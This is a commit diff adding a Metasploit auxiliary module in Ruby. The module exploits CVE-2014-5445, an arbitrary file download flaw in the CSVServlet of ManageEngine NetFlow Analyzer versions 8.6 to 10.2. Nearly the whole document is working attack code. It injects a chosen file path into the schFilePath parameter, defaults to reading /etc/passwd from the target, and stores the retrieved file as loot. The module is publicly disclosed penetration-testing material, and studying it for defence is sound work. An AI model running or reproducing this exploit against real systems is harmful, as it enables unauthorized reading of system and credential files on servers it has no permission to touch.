|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits an arbitrary file download vulnerability in CSVServlet |
| 18 | + on ManageEngine NetFlow Analyzer. This module has been tested on both Windows |
| 19 | + and Linux with versions 8.6 to 10.2. Windows paths have to be escaped with 2 |
| 20 | + backslashes on the command line. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'CVE', '2014-5445' ], |
| 30 | + [ 'OSVDB', '115340' ], |
| 31 | + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_netflow_it360_file_dl.txt' ], |
| 32 | + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Dec/9' ] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Nov 30 2014')) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + Opt::RPORT(8080), |
| 39 | + OptString.new('TARGETURI', |
| 40 | + [ true, "The base path to NetFlow Analyzer", '/netflow' ]), |
| 41 | + OptString.new('FILEPATH', [true, 'Path of the file to download (escape Windows paths with 2 back slashes)', '/etc/passwd']), |
| 42 | + ], self.class) |
| 43 | + end |
| 44 | + |
| 45 | + |
| 46 | + def run |
| 47 | + # Create request |
| 48 | + begin |
| 49 | + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") |
| 50 | + res = send_request_cgi({ |
| 51 | + 'method' => 'GET', |
| 52 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'), |
| 53 | + 'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }, |
| 54 | + }) |
| 55 | + rescue Rex::ConnectionError |
| 56 | + print_error("#{peer} - Could not connect.") |
| 57 | + return |
| 58 | + end |
| 59 | + |
| 60 | + # Show data if needed |
| 61 | + if res && res.code == 200 |
| 62 | + if res.body.to_s.bytesize == 0 |
| 63 | + print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.") |
| 64 | + return |
| 65 | + end |
| 66 | + vprint_line(res.body.to_s) |
| 67 | + fname = File.basename(datastore['FILEPATH']) |
| 68 | + |
| 69 | + path = store_loot( |
| 70 | + 'netflow.http', |
| 71 | + 'application/octet-stream', |
| 72 | + datastore['RHOST'], |
| 73 | + res.body, |
| 74 | + fname |
| 75 | + ) |
| 76 | + print_good("#{peer} - File saved in: #{path}") |
| 77 | + else |
| 78 | + print_error("#{peer} - Failed to download file.") |
| 79 | + end |
| 80 | + end |
| 81 | +end |
0 commit comments